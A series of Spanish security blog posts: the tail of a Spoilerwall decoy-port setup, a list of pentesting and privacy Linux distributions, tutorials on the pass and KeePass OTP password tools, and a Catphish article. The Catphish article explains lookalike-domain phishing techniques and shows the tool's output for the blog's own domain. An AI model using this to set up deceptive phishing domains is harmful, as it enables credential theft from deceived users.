Luego editar el archivo server-spoiler.py y configurar las variables HOST y PORT, y ejecutar el servidor:

$ python2 server-spoiler.py

Ahora que tenemos el servidor corriendo, por defecto en el puerto 8080, tendremos que redireccionar todo el tráfico TCP entrante hacia el mismo:

$ sudo iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 1:65535 -j DNAT --to-destination {HOST}:{PORT}

Si el tráfico está redireccionado a localhost tendremos que ejecutar:

$ sudo sysctl -w net.ipv4.conf.eth0.route_localnet=1

Finalmente, con esta configuración, si escanean cualquier puerto, un "simpático" banner será devuelto:

También podéis ver un ejemplo desde Shodan (cuidado con los spoilers) en:

https://www.shodan.io/host/138.197.196.144

Ten cuidado en tu próximo CTF - nunca sabes cuando aparecerá un spoiler!

Github: https://github.com/infobyte/spoilerwall

↧

¿Cuáles son los sistemas operativos más utilizados por los hackers en 2017?

June 27, 2017, 8:45 am

≫ Next: Pass, gestiona tus contraseñas desde el terminal

≪ Previous: Spoilerwall, devuelve un spoiler de una película por cada puerto escaneado

Recientemente leía un artículo en una web (HowToDoAnything) en el que se aventuraban a hacer un listado con el top 10 de los sistemas operativos más utilizados por los hackers en 2017. Y digo "aventuraban" porque algunas de las distribuciones que listan en su artículo estaban discontinuadas pero, sobretodo, porque siempre es difícil hacer este tipo de listados "Top" ya que (que yo sepa) no hay estadísticas oficiales y cada uno tiene sus propios gustos y puede argumentar las razones de por qué la distribución que utiliza es mejor que el resto, algo que siempre es bastante subjetivo.

Me atrevería a decir que Kali hoy en día es la distribución por excelencia y la más utilizada, pero como sabréis existe una gran diversidad de distribuciones enfocadas a la seguridad. Aún así, todos coincidimos en que usamos Linux y prácticamente en el uso de muchas herramientas.

En cualquier caso me parecía un top bastante interesante por lo que quería dejarlo "caer" también por aquí, eso sí añadiendo algunas distribuciones adicionales, ordenándolas por categorías y hasta llegar a una lista bastante amplia. A ver qué opináis y si echáis en falta alguna que otra:

Pentesting

1. Kali Linux

Qué decir a estas alturas de Kali... sin duda el sistema operativo más famoso para pentesting. De los creadores de BackTrack (Offensive Security), se trata de una distribución basada en Debian y que está disponible para muchas plataformas diferentes como VMware, Arm, etc.

2. Parrot Security OS

Este sistema operativo está basado en Debian GNU/Linux mezclado con Frozen box OS y Kali Linux y, con esta combinación, proporciona una excelente experiencia para tests de intrusión y pruebas de seguridad. Tiene muchas características como herramientas personalizadas anti-forense, GPG, crypt...

3. Arch Linux

Arch Linux es el sistema minimalista por excelencia. Sigue el principio KISS (Keep it Simple and Short). Arch Linux utiliza su gestor de paquetes Pacman, que combina paquetes binarios simples con un sistema de compilación de paquetes fácil de usar. Existe además BlackArch que puede usarse de forma independiente o instalarse en el sistema base y viene con numerosas herramientas preinstaladas.

4. BackBox

Back Box es una distribución de Linux basada en Ubuntu. Puede funcionar fácilmente en un dispositivo de bajo rendimiento y se ha desarrollado específicamente para realizar pruebas de intrusión y auditorías de seguridad. La nueva versión cuenta con funciones interesantes que incluyen análisis forense, documentación y generación de informes e ingeniería inversa.

5. Samurai Web Testing Framework

Samurai Web Testing Framework es una distro live que ha sido preconfigurada para funcionar como un entorno de prueba de pentesting web. Incluye muchas herramientas esenciales como WebScarab, rat proxy, w3af, Burp Suite y BeEF.

6. Knoppix STD

Si eres completamente noob en Linux es la mejor manera de empezar. Es una colección de cientos, si no miles de herramientas de seguridad de código abierto. Lo mejor de Knoppix es que está destinado a ser utilizado tanto por personal novato como por profesional de seguridad.

7. Pentoo

Pentoo está basada en Gentoo Linux y es una distro de pentesting que usa Enlightenment E17 como escritorio. Funciona en 32 y 64 bits. Incluye drivers para inyectar paquetes por wifi, software para cracking por GPU y numerosas herramientas.

8. WiFiSlax

WifiSlax es una excelente distro para auditoría y seguridad basada en Slackware. Incluye numerosos escáners de puertos y de vulnerabilidades, herramientas de diseño de exploits, sniffers de tráfico de red, herramientas de análisis forense y, sobretodo, de auditoría de redes wireless (de ahí su nombre). De hecho incorpora una gran cantidad de controladores para diversas tarjetas wifi que no están soportados oficialmente en el kernel Linux.

9. GnackTrack

GnackTrack es básicamente una combinación de herramientas de pentesting y el escritorio Linux Gnome. Gnacktrack es a la vez Live CD e instalable, y se basa en Ubuntu. Siguiendo la filosofía backtrack, Gnacktrack viene con múltiples herramientas que son útiles para hacer un pentest efectivo.

10. NodeZero

Nodo Zero fue considerado como uno de los sistemas operativos más prácticos para pentesting. Se basa en Ubuntu y es muy conocido por incluir el toolkit de THC IPV6 con herramientas como alive6, detect-new-ip6, dnsdict6, dos-new-ip6, fake-advertise6, fake-mipv6, fake_mld6, fake_router6, implementation6, implementation6d, parasite6, recon6, redir6, rsmurf6, sendpees6, smurf6, toobig6 y trace6.

11. Wifiway

La "hermana menos" de WiFiSlax, está pensada y diseñada para la auditoría de seguridad de las redes WiFi, Bluetooth y RFID. Incluye una larga lista de herramientas de seguridad y auditoría inalámbrica listas para ser utilizadas, especializadas en la auditoría Wireless, además de añadir una serie de útiles lanzadores.

Redes

12. Security Onion

Security Onion está diseñada para detectar intrusiones y supervisar la seguridad de la red. Se basa en Xubuntu LTS. Trae herramientas como el sniffer Wireshark y software de detección de intrusiones como Suricata.

13. Network Security ToolKit

Este sistema operativo se basa en Fedora y funciona tanto en plataformas de 32 como de 64 bits. Se presenta en forma de Live Cd por lo que si queremos no es necesario instalarlo. La principal razón del desarrollo de NST fue proporcionar al administrador de seguridad y al administrador de red un conjunto completo de Herramientas de Seguridad de Red de Código Abierto.

Privacidad y anonimato

14. Tails

Recomendada por Edward Snowden, Tails arranca desde un live-DVD, USB o tarjeta SD. Tails se ejecuta completamente dentro de la RAM, lo que significa que, una vez se apague el ordenador, todos los rastros de actividad se limpian. Además, Tails promueve el anonimato enrutando todo el tráfico a través de la red Tor y utiliza una variedad de herramientas de cifrado.

15. Qubes OS

Qubes OS utiliza el Xen Hypervisor para ejecutar una serie de máquinas virtuales, separando vida 'personal' de 'trabajo', 'Internet' y así sucesivamente por razones de seguridad. Esto significa que si accidentalmente se descarga malware en la máquina de trabajo, por ejemplo, los archivos personales no se verán comprometidos.

16. Whonix

Whonix está diseñada para ejecutarse dentro de una máquina virtual. Esto proporciona otra capa de protección, ya que los ataques de malware están contenidos en la máquina virtual. Como un beneficio adicional, todo el tráfico del usuario se configura automáticamente para que se envíe a través de la red Tor.

17. IprediaOS

Al igual que el sistema operativo Tails, el principal atractivo de Ipredia es que todo el tráfico de Internet se redirecciona para proteger su anonimato. Ipredia sin embargo utiliza la red I2P. Además trae preconfigurado una gran variedad de software para el anonimato. Los usuarios también tienen acceso a "eepsites" - sitios alojados anónimamente usando dominios especiales que terminan en .i2p.

18. Discreete Linux

Es la distro sucesora de Ubuntu Privacy Remix. Almacena los datos en RAM o en una memoria USB. Se puede ejecutar en modo Live, pero al iniciar desde un volumen también permite almacenar algunos de sus ajustes en un Cryptobox cifrado. Otra característica interesante es que los módulos del kernel sólo se pueden instalar si han sido firmados digitalmente por el equipo de Discreete Linux.

19. Subgraph OS

Subgraph es una distro "superfortificada". Añade al kernel una serie de mejoras de seguridad y crea "cajas" virtuales alrededor de aplicaciones con cierto riesgo como los navegadores web. Incluye un firewall personalizado que también encamina todas las conexiones salientes a través de la red Tor. El cifrado de su sistema de archivos es obligatorio.

20. TENS

TENS (Trusted End Node Security) ha sido diseñada por la Fuerza Aérea de los Estados Unidos y está aprobada por el NSA (qué peligro). La versión pública de TENS está específicamente diseñada para ejecutarse en modo Live, lo que significa que cualquier malware se elimina al apagarlo. Incluye un conjunto mínimo de aplicaciones, pero también existe una versión 'Public Deluxe' que viene con Adobe Reader y LibreOffice. Todas las versiones incluyen un firewall personalizable, y también vale la pena señalar que este sistema operativo admite el inicio de sesión a través de Smart Cards.

21. Kodachi

Linux Kodachi es un sistema operativo basado en Debian con un escritorio ligero XFCE que pretende ser lo más seguro, anti-forense y anónimo posible, siendo a la vez muy fácil de usar.

Forense

22. CAINE

CAINE (Computer Aided INvestigative Environment) es una de las distribuciones Linux más completas para realizar análisis forense. Esta distribución funciona como Live DVD y no toca absolutamente ningún dato del disco duro donde lo arranquemos.

23. DEFT

DEFT (acrónimo de Digital Evidence & Forensic Toolkit) es un liveCD para análisis forenses basado en la distribución Linux Xubuntu. Está diseñada para cubrir las necesidades de los administradores de sistemas, la policía, los investigadores y los especialistas en informática forense.

↧

Pass, gestiona tus contraseñas desde el terminal

June 28, 2017, 10:28 am

≫ Next: KeePass con segundo factor de autenticación OTP

≪ Previous: ¿Cuáles son los sistemas operativos más utilizados por los hackers en 2017?

Para los amantes del terminal Unix/Linux tener un gestor de contraseñas desde la línea de comandos es capital y una utilidad sencilla pero que cubre de sobra esta necesidad es pass. Con pass, cada contraseña "vive" dentro de un archivo cifrado gpg cuyo nombre es el título del sitio web o recurso que requiere la contraseña. Estos archivos cifrados pueden organizarse en jerarquías de carpetas, copiarlas de un ordenador a otro y, en general, manipularlas utilizando las herramientas estándar para el regex de archivos.

Pass hace que la administración de estos archivos de contraseñas individuales sea extremadamente fácil. Todas las contraseñas se localizan en ~/.password-store, y pass provee los comandos necesarios para que sea muy fácil agregar, editar, generar y recuperar contraseñas. Vamos a ver cómo instalarlo y las operaciones más comunes aunque os recomiendo echar un vistazo a su correspondiente man aquí o directamente en la consola.

Instalación (Ubuntu/Debian)

$ sudo apt-get install pass

Generar el par de claves GPG

$ gpg --gen-key

gpg: WARNING: unsafe ownership on homedir '/home/vis0r/.gnupg'
gpg (GnuPG) 2.1.15; Copyright (C) 2016 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-gen-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: vis0r
Email address: hackplayers@ymail.com
You selected this USER-ID:
    "vis0r "
Change (N)ame, (E)mail, or (O)kay/(Q)uit? O
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: key E812D7261BE40AD9 marked as ultimately trusted
gpg: directory '/home/vis0r/.gnupg/openpgp-revocs.d' created
gpg: revocation certificate stored as '/home/vis0r/.gnupg/openpgp-revocs.d/61C23E3B0AC97802E16E8BAD21237AD48E9097E3.rev'
public and secret key created and signed.

pub   rsa2048 2017-06-28 [SC]
      61C23E3B0AC97802E16E8BAD21237AD48E9097E3
uid                      vis0r
sub   rsa2048 2017-06-28 [E]

Iniciar el password store

$ pass init vis0r
mkdir: created directory '/home/vis0r/.password-store/'
Password store initialized for vis0r

Confiar en la clave generada

$ gpg --edit-key vis0r

gpg> trust

1 = I don't know or won't say
2 = I do NOT trust
3 = I trust marginally
4 = I trust fully
5 = I trust ultimately
m = back to the main menu

Your decision? 5

Añadir nuevas credenciales

$ pass insert email/hackplayers@ymail.com
Enter password for email/hackplayers@ymail.com:
Retype password for email/hackplayers@ymail.com:

Mostrar las contraseñas almacenadas disponibles

$ pass show
Password Store
└── email
    └── hackplayers@ymail.com

Mostrar la contraseña en claro de una cuenta específica

$ pass email/hackplayers@ymail.com
123

Copiar la contraseña al portapapeles

$ pass -c email/hackplayers@ymail.com
Copied email/hackplayers@ymail.com to clipboard. Will clear in 45 seconds.

Borrar una cuenta

$ pass rm email/hackplayers@ymail.com
Are you sure you would like to delete email/hackplayers@ymail.com? [y/N] y
removed '/home/vmotos/.password-store/email/hackplayers@ymail.com.gpg'

Editar una contraseña existente con nano

$ pass edit Email/hackplayers@ymail.com

Generar una contraseñs automáticamente

$ pass generate Email/hackplayers@ymail.com 20
The generated password for Email/hackplayers@ymail.com is:
@JMUZaGM)r='ie/>0{8"

Generar una contraseña automáticamente sin símbolos

$ pass generate Email/hackplayers@ymail.com 20 -n
An entry already exists for Email/hackplayers@ymail.com. Overwrite it? [y/N] y
The generated password for Email/hackplayers@ymail.com is:
zvHKedJVcDYlF50tgsCd

Funcionalidad multilínea

Adicionalmente es posible guardar otra información como URL, pin, teléfono, etc,., Utiliza el siguiente comando:

$ pass insert Email/prueba@gmail.com -m
Enter contents of Email/prueba@gmail.com and press Ctrl+D when finished:

12345
URL: http://www.hackplayers.com
Info: web de hacking

Y no olvides asegurarte de que la primera línea contiene la password ya que es la que será copiada al portapapeles mediante la opción correspondiente.

Sincronización del almacen de contraseñas en otros sitios

Si creamos el password store en un repositorio Git podremos sincronizarlo en distintos sitios para tener disponible siempre las contraseñas.

$ pass git init
$ pass git remote add origin kexec.com:pass-store

Cada modificación creará un git commit asi que podremos sincronizar los cambios mediante pass git push y pass git pull, que llamarán a git-push o git-pull en el almacén.

$ pass git push -u --all
$ pass git pull

Extensiones

Pass soporta también el uso de extensiones. Para usarlas la variable PASSWORD_STORE_ENABLE_EXTENSIONS debe estar configurado a true.

La comunidad ha desarrollado unas cuantas extensiones bastante interesantes:

pass-tomb: administrar el store en una Tomb
pass-update: una manera fácil de actualizar las contraseñas
pass-import: un importador genérico para otros password managers
pass-extension-tail: una manera fácil de mostrar sólo el 'tail' of a file
pass-extension-wclip: un plugin que usa wclip sobre Windows
pass-otp: soporte para tokens one-time-password (OTP)

Clientes compatibles

La comunidad ha reunido también una impresionante lista de clientes e interfaces gráficas para varias plataformas:

passmenu: script dmenu
qtpass: cliente GUI multiplataforma
Android-Password-Store: Android app
passforios: iOS app
pass-ios: (older) iOS app
passff: Firefox plugin
browserpass: Chrome plugin
Pass4Win: cliente Windows
pext_module_pass: módulo para Pext
gopass: Go GUI app
upass: consola interactiva UI
alfred-pass: integración con Alfred
pass-alfred: integración con Alfred
simple-pass-alfred: integración con Alfred
pass.applescript: integración con OS X
pass-git-helper: integración con git credential
password-store.el: un paquete emacs
XMonad.Prompt.Pass: prompt para Xmonad

Herramientas para migrar a pass

Algunos usuarios han contribuido con scripts para ayudar a importar contraseñas de otros programas:

1password2pass.rb: importa de 1Password txt o 1pi
keepassx2pass.py: importa de KeepassX XML
keepass2csv2pass.py: importa de Keepass2 CSV
keepass2pass.py: importa de Keepass2 XML
fpm2pass.pl: importa de Figaro's Password Manager XML
lastpass2pass.rb: importa de Lastpass CSV
kedpm2pass.py: importa de Ked Password Manager
revelation2pass.py: importa de Revelation Password Manager
gorilla2pass.rb: importa de Password Gorilla
pwsafe2pass.sh: importa de PWSafe
kwallet2pass.py: importa de KWallet
roboform2pass.rb: importa de Roboform
password-exporter2pass.py: importa de password-exporter
pwsafe2pass.py: importa de pwsafe
firefox_decrypt: interfaz para Firefox que soporta la exportación a pass

WEB principal: https://www.passwordstore.org/

↧

KeePass con segundo factor de autenticación OTP

June 29, 2017, 3:12 pm

≫ Next: Catphish, la mano derecha del phising

≪ Previous: Pass, gestiona tus contraseñas desde el terminal

Keepass es en la actualidad uno de los gestores de contraseñas más utilizados y, como tal, han surgido varias técnicas y herramientas para poder evadir la protección de las bases de datos y obtener las preciadas contraseñas de una víctima. Desde scripts que buscan e intentan identificar ficheros .kbdx en el filesystem, hasta herramientas como mod0keecrack que realizan fuerza bruta u otras como KeeFarce que obtienen la contraseña maestra directamente desde la memoria. Está claro que por su naturaleza y lo extendido que está su uso, Keepass está continuamente en el punto de mira... y por esa razón, parece buena idea utilizar un segundo factor de autenticación (2FA) para abrir nuestras bases de datos de contraseñas de Keepass.

Dentro de las opciones disponibles para 2FA, quizás la opción más cómoda es utilizar passwords de un sólo uso desde el smartphone mediante Google Authenticator, de tal manera que cada vez que queramos abrir un fichero Keepass además de la contraseña de la base de datos tengamos que meter una serie de códigos únicos generados desde el móvil. Para ello hay varios plugins disponibles, pero el que he probado y funciona realmente bien es OtpKeyProv de Dominik Reichl.

OtpKeyProv es un proveedor de claves basado en passwords de un sólo uso u OTP. Soporta todos los tokens que siguen el estándar OATH HOTP (RFC 4226).

Para usarlo simplemente tenemos que descargar el zip del plugin, descomprimir el archivo OtpKeyProv.plgx y dejarlo en el directorio de plugins de Keepass (%programfiles%\KeePass Password Safe 2\Plugins en Windows o /usr/lib/keepass2/Plugins en Linux).

Podemos comprobar que está presente yendo a 'Herramientas' y 'Plugins':

Posteriormente, a la hora de crear una base de datos nueva o ir a la opción de cambiar la clave maestra, además de introducir la contraseña maestra tendremos disponible la opción de usar un Key provider 'One-Time Password (OATH HOTP)':

Después, al marcar la opción y pulsar el botón de OK, el plugin nos mostrará una pantalla para configurar el token OTP. Para que sea compatible con Google Authenticator tendremos que obligatoriamente utilizar las siguientes opciones:

Length: 6
Secret key: ClaveSec (base32) Al estar en base32 y mantener la compatibilidad de Google Authenticator la clave debe ser múltiplo de 8 caracteres y se deben utilizar caracteres del rango a-z, 2-7.
Counter: 0 (Dec)
Number of OTPs: 3
Look ahead count: 9

El siguiente paso será irnos a la aplicación Google Authenticator en nuestro dispositivo Android y añadir un nuevo cliente seleccionando la opción 'Ingresar la clave proporcionada'. Simplemente pondremos el nombre que queramos, la clave y, sobretodo, marcaremos la opción 'Basada en contador':

Y ya lo tenemos. Para probarlo, sólo tenemos que abrir la base de datos Keepass que hemos configurado para usar este key provider como 2FA e introducir los tres códigos generados:

Por último, remarcar que en la misma ruta del fichero .kbdx de la base de datos se generará un fichero xml tipo NewDatabase.otp.xml. Este debe estar presente para que los tokens funcionen.

Esto es debido a que el plugin utiliza OATH HOTP (Key,Count) y, si no me equivoco, cifra cada OTP con el hash anterior hasta obtener la "segunda clave maestra". Para almacenar esta sucesión de hashes utiliza este archivo xml, que es actualizado cada vez que se abre la base de datos.

Lo malo es que al sincronizarlo en la nube para poder utilizarlo desde distintos dispositivos (ej. Dropbox) en muchos casos se guarda un historial de archivos xml y se especula que si un atacante los obtiene podría llegar a obtener la clave secreta. Se agradecen comentarios y consideraciones al respecto.

↧

Catphish, la mano derecha del phising

July 3, 2017, 11:25 am

≫ Next: ORWL: el ordenador físicame seguro de código abierto

≪ Previous: KeePass con segundo factor de autenticación OTP

Muchos nos hemos encontrado alguna página web que era calcada a un inicio de sesión de alguna de las redes sociales que existen en todo el ciberespacio, y eso era porque estábamos bajo un ataque de phishing/spear phishing, que nos hayamos percatado de ello (o no) y que nos decidamos a analizar dicho ataque. Personalmente, la ingeniería social es una arte, en la cual si tienes talento te será muy facil conseguir enganchar y hacer que la gente "pique" en la trampa, lo que lleva a perfeccionar y depurar la técnica para que nuestro objetivo consiga caer en nuestro juego.

Para esto, a la hora de hace algún ataque de phishing o spear phishing, por ejemplo, se busca copiar a la perfección el inicio de sesión de una plataforma debido a que el más mínimo detalle podría delatar nuestra trampa. En este caso también juega un papel importante el dominio al que accederá nuestra víctima, en un ataque de este tipo es uno de los puntos más importantes debido a que la mayoría de las campañas de concienciación en las que prevalecen mensajes de tipo: "debes fijarte si a la web que vas a acceder tiene la "S" en HTTPS" cosa que puede ser independiente a un ataque de phishing o "fijate bien en la URL que visitas".

Como vemos en las imágenes, este es un ejemplo de ataque de phishing, un ataque bastante cantoso y poco preparado porque como vemos, la URL delata claramente un intento de phishing, pero observamos la mencionada "S" del HTTPS, encima verificado por Comodo, por eso mismo no hay que fiarse tampoco de la famosa "S".

Esto afianza lo dicho anteriormente, este ataque tiene bastantes posibilidades de fallar a causa de la URL que da mucho el cante de un ataque phising, por esto os mencionaba la importancia de la URL, porque a menos de que no hayas atacado a la víctima previamente con ataques de tipo DNS Spoofing o con cualquier otro método para conseguir que la víctima se conecte a nuestra plataforma de phishing a la vez que se mantiene el dominio original que estamos clonando, lo tendremos complicado para hacer caer en la trampa a la víctima.

Para ello existen otros tipos de métodos, los cuales consisten en la modificación de caracteres del dominio que queremos clonar haciendo mínima la diferencia entre ambos dominios, en algunos casos hasta complicados de distinguir a menos que no te fijes muy bien, lo que nos generaría muchas más posibilidades de lograr un buen ataque. Para ello existen métodos como:

PrependOrAppend: que en castellano sería "anexar o agregar" en el cual añadiremos al dominio terminos cotidianos en las webs como "http", por ejemplo: http-hackplayers.com.
Mirrorization: consistiría en la repetición de un caracter al lado de otro en el propio dominio, como sería por ejemplo: hackplayyrs.com o haakplayers.com.
Homoglyphs: consistiría en el cambio de algunos caracteres por otros muy parecidos como por ejemplo: "y" por "v" en hackplavers.com.
Punycode: este método se basa en el código púny, una sintaxis de codificación usada en programación que usa una cadena Unicode y se asemeja bastante a los caracteres cotidianos, por ejemplo: hạćkplāỷẹŕs.com.
SingularOrPluralise: como dice el nombre, tiene que ver con el singular y el plural, en el cual se juega con singularizar o pluralizar un dominio, como por ejemplo: hackplayer.com.
DashOmission: consistiría en omitir los guiones en el caso de que el dominio original lo contenga, como por ejemplo sería en el caso de que el dominio original fuese hack-players.com, pues el falso sería: hackplayers.com.
DoubleExtensions: consistiría en agregar detrás del dominio un "-com" en el caso de que el dominio original lo contenga, por ejemplo: hackplayers-com.co.

Con la herramienta Catphish, esta labor la realizaremos automaticamente generando dominios con los métodos anteriormente mencionados. Catphish es un script escrito en ruby por ring0lab. Su uso es muy sencillo pero para ello deberemos instalar unos requisitos para que la tool funcione.

Requisitos:

apt-add-repository ppa:brightbox/ruby-ng
apt-get update
apt-get install ruby2.2
apt-get install bundler

Instalacion:

bundle install
ruby catphish.rb

root@PC:/mnt/c/Users/Downloads/catphish-master/catphish-master# ruby catphish.rb

██████╗ █████╗ ████████╗██████╗ ██╗  ██╗██╗███████╗██╗  ██╗
██╔════╝██╔══██╗╚══██╔══╝██╔══██╗██║  ██║██║██╔════╝██║  ██║
██║     ███████║   ██║   ██████╔╝███████║██║███████╗███████║
██║     ██╔══██║   ██║   ██╔═══╝ ██╔══██║██║╚════██║██╔══██║
╚██████╗██║  ██║   ██║   ██║     ██║  ██║██║███████║██║  ██║
╚═════╝╚═╝  ╚═╝   ╚═╝   ╚═╝     ╚═╝  ╚═╝╚═╝╚══════╝╚═╝  ╚═╝
                                                    [v]1.0.0
                                       Author: Mr. V & Picat
                                           Web: ring0lab.com


  -l, --logo, --no-logo                      ASCII art banner (default: true)
  -c, --column-header, --no-column-header    Header for each column of the output (default: true)
  -D, --Domain=<s>                           Target domain to analyze
  -t, --type=<s>                             Type of level domains: (popular, country, generic) (default: popular)
  -V, --Verbose                              Show all domains, including non-available ones
  -A, --All                                  Use all of the possible methods
  -M, --Mirrorization                        Use the mirrorization method.
  -s, --singular-or-pluralise                Use the singular or pluralise method.
  -p, --prepend-or-append                    Use the prepend or append method.
  -T, --Top-level-domains=<s+>               Use a specific ( set of ) top-level domain(s).
  -H, --Homoglyphs                           Use the homoglyphs method.
  -d, --double-extensions                    Use the double extensions method
  -a, --Dash-omission                        Use the dash omission method.
  -P, --Punycode                             Use the punycode method.
  -h, --help                                 Show this message

Ejemplo:

root@PC:/mnt/c/Users/Downloads/catphish-master/catphish-master# ruby catphish.rb -D hackplayers.com -V -A

██████╗ █████╗ ████████╗██████╗ ██╗  ██╗██╗███████╗██╗  ██╗
██╔════╝██╔══██╗╚══██╔══╝██╔══██╗██║  ██║██║██╔════╝██║  ██║
██║     ███████║   ██║   ██████╔╝███████║██║███████╗███████║
██║     ██╔══██║   ██║   ██╔═══╝ ██╔══██║██║╚════██║██╔══██║
╚██████╗██║  ██║   ██║   ██║     ██║  ██║██║███████║██║  ██║
╚═════╝╚═╝  ╚═╝   ╚═╝   ╚═╝     ╚═╝  ╚═╝╚═╝╚══════╝╚═╝  ╚═╝
                                                    [v]1.0.0
                                       Author: Mr. V & Picat
                                           Web: ring0lab.com                                                            

Type                           Domain                         Punycode                       Status

PrependOrAppend                www-hackplayers.com            none                           Available
Mirrorization                  hackplayyrs.com                none                           Available
Mirrorization                  haccplayers.co                 none                           Available
PrependOrAppend                http-hackplayers.info          none                           Available
Homoglyphs                     hackplayers.com                none                           Available
PrependOrAppend                http-hackplayers.co            none                           Available
Mirrorization                  hackplayerss.info              none                           Available
Punycode                       hȃćkplạỷẹŕs.net                xn--hckplyers-vfd4071f.net     Available
Punycode                       hạćkplàỷẹŕs.net                xn--hckplyers-u1a6984f.net     Available
Homoglyphs                     hackplayers.co                 none                           Available
Mirrorization                  hackplayees.info               none                           Available
Punycode                       háćkplạỷẹŕs.net                xn--hckplyers-01a4984f.net     Available
Punycode                       hạćkplāỷẹŕs.com                xn--hckplyers-9bb3354f.com     Available
Mirrorization                  hackplayyrs.net                none                           Available
DoubleExtensions               hackplayers-com.com            none                           Available
PrependOrAppend                www-hackplayers.net            none                           Available
Punycode                       háćkplạỷẹŕs.net                xn--hckplayers-s4a.net         Available
Mirrorization                  hackplaaers.info               none                           Available
Mirrorization                  hackppayers.com                none                           Available
Mirrorization                  hackpllyers.net                none                           Available
Mirrorization                  hackpllyers.info               none                           Available
Punycode                       hȃćkplạỷẹŕs.net                xn--hckplayers-xqd.net         Available
PrependOrAppend                hackplayers-www.com            none                           Available
Punycode                       hạćkplȃỷẹŕs.com                xn--hackplyers-2qd.com         Available
Mirrorization                  hackppayers.net                none                           Available
Punycode                       hạćkplȃỷẹŕs.net                xn--hckplyers-zfd5961f.net     Available
Mirrorization                  hackpllyers.com                none                           Available
Homoglyphs                     hackplavers.com                none                           Available
Mirrorization                  hackplayerss.net               none                           Available
Mirrorization                  hackplaaers.org                none                           Available
Mirrorization                  hhckplayers.org                none                           Available
Mirrorization                  hackklayers.org                none                           Available
Mirrorization                  haccplayers.org                none                           Available
Homoglyphs                     hackqlayers.co                 none                           Available
Mirrorization                  haakplayers.info               none                           Available
Mirrorization                  hackppayers.org                none                           Available
Mirrorization                  hhckplayers.info               none                           Available
PrependOrAppend                http-hackplayers.com           none                           Available
Punycode                       háćkplạỷẹŕs.org                xn--hckplayers-s4a.org         Available
Punycode                       hàćkplạỷẹŕs.org                xn--hckplayers-h4a.org         Available
Punycode                       haćkplaỷēŕs.co                 xn--hackplayrs-plb.co          Available
Punycode                       hạćkplāỷẹŕs.net                xn--hckplyers-9bb3354f.net     Available
Punycode                       hàćkplạỷẹŕs.com                xn--hckplyrs-zya8827euha.com   Available
Punycode                       haćkplaỷèŕs.com                xn--hackplayrs-66a.com         Available
Punycode                       hàćkplạỷẹŕs.com                xn--hckplyers-q1a5094f.com     Available
Punycode                       háćkplạỷẹŕs.com                xn--hkplyrs-hwa65a793wuha.com  Available
Punycode                       haćkplaỷȇŕs.com                xn--hackplayrs-esd.com         Available
SingularOrPluralise            hackplayer.com                 none                           Available
Punycode                       hạćkplạỷẹŕs.com                xn--hckplyrs-nx0de9x.com       Available
Punycode                       hàćkplạỷẹŕs.com                xn--hckplayers-h4a.com         Available
Punycode                       hāćkplạỷẹŕs.net                xn--hckplyrs-h7a8596euha.net   Available
Punycode                       hạćkpláỷẹŕs.net                xn--hackplyers-x4a.net         Available
Punycode                       hạćkplȃỷẹŕs.net                xn--hckplyrs-x3c9634ezha.net   Available
Mirrorization                  hackplaaers.co                 none                           Available
Mirrorization                  hackplayyrs.co                 none                           Available
Punycode                       hạćkpláỷẹŕs.info               xn--hckplyers-41a5884f         Not Available
Punycode                       hạćkplạỷẹŕs.co                 xn--hckplyers-076de.co         Available
Homoglyphs                     hackpiayers.co                 none                           Available
Mirrorization                  haakplayers.co                 none                           Available
Punycode                       hạćkplȃỷẹŕs.co                 xn--hackplyers-2qd.co          Available
SingularOrPluralise            hackplayer.co                  none                           Available
Punycode                       haćkplaỷèŕs.info               xn--hackplayrs-66a             Not Available
Punycode                       hȃćkplạỷẹŕs.co                 xn--hckplayers-xqd.co          Available
Homoglyphs                     hackqlayers.info                                              Not Available
Punycode                       hạćkplạỷẹŕs.info               xn--hackplyers-jj3e            Not Available
Punycode                       hạćkplāỷẹŕs.info               xn--hackplyers-zfb             Not Available
Punycode                       háćkplạỷẹŕs.co                 xn--hckplyers-01a4984f.co      Available
Punycode                       hạćkplàỷẹŕs.co                 xn--hckplyers-u1a6984f.co      Available
Mirrorization                  hackklayers.net                none                           Available
Punycode                       hạćkplȃỷẹŕs.org                xn--hackplyers-2qd.org         Available
Punycode                       hȃćkplạỷẹŕs.org                xn--hckplyrs-t3c8734euha       Not Available
Punycode                       hạćkplàỷẹŕs.org                xn--hckplyrs-3ya9727ezha       Not Available
Mirrorization                  hackplayyrs.org                none                           Available
PrependOrAppend                http-hackplayers.org           none                           Available
Punycode                       hạćkplāỷẹŕs.co                 xn--hackplyers-zfb.co          Available
Punycode                       hàćkplạỷẹŕs.co                 xn--hckplayers-h4a.co          Available
Punycode                       haćkplaỷēŕs.org                xn--hackplayrs-plb.org         Available
Punycode                       hȃćkplạỷẹŕs.org                xn--hckplyers-vfd4071f.org     Available
Punycode                       hạćkpláỷẹŕs.co                 xn--hackplyers-x4a.co          Available
Homoglyphs                     hackplavers.org                none                           Available
Punycode                       hạćkplȃỷẹŕs.co                 xn--hckplyrs-x3c9634ezha.co    Available
Punycode                       hȃćkplạỷẹŕs.com                xn--hckplayers-xqd.com         Available
Punycode                       hạćkplàỷẹŕs.com                xn--hckplyers-u1a6984f.com     Available
Punycode                       hāćkplạỷẹŕs.info               xn--hckplyrs-h7a8596euha       Not Available
Mirrorization                  hackplayerss.org               none                           Available
Punycode                       hạćkplạỷẹŕs.info               xn--hckplayers-ej3e.info       Available
Mirrorization                  hackplayees.org                none                           Available
Punycode                       hạćkplàỷẹŕs.info               xn--hackplyers-m4a.info        Available
Punycode                       hạćkpláỷẹŕs.com                xn--hckplyrs-dza9627ezha.com   Available
Punycode                       hạćkpláỷẹŕs.info               xn--hackplyers-x4a.info        Available
Punycode                       hāćkplạỷẹŕs.org                xn--hckplyers-5bb2454f.org     Available
Homoglyphs                     hackpiayers.info               none                           Available
Punycode                       hạćkplȃỷẹŕs.info               xn--hackplyers-2qd.info        Available
PrependOrAppend                hackplayers-https.info         none                           Available
Punycode                       hàćkplạỷẹŕs.info               xn--hckplyers-q1a5094f.info    Available
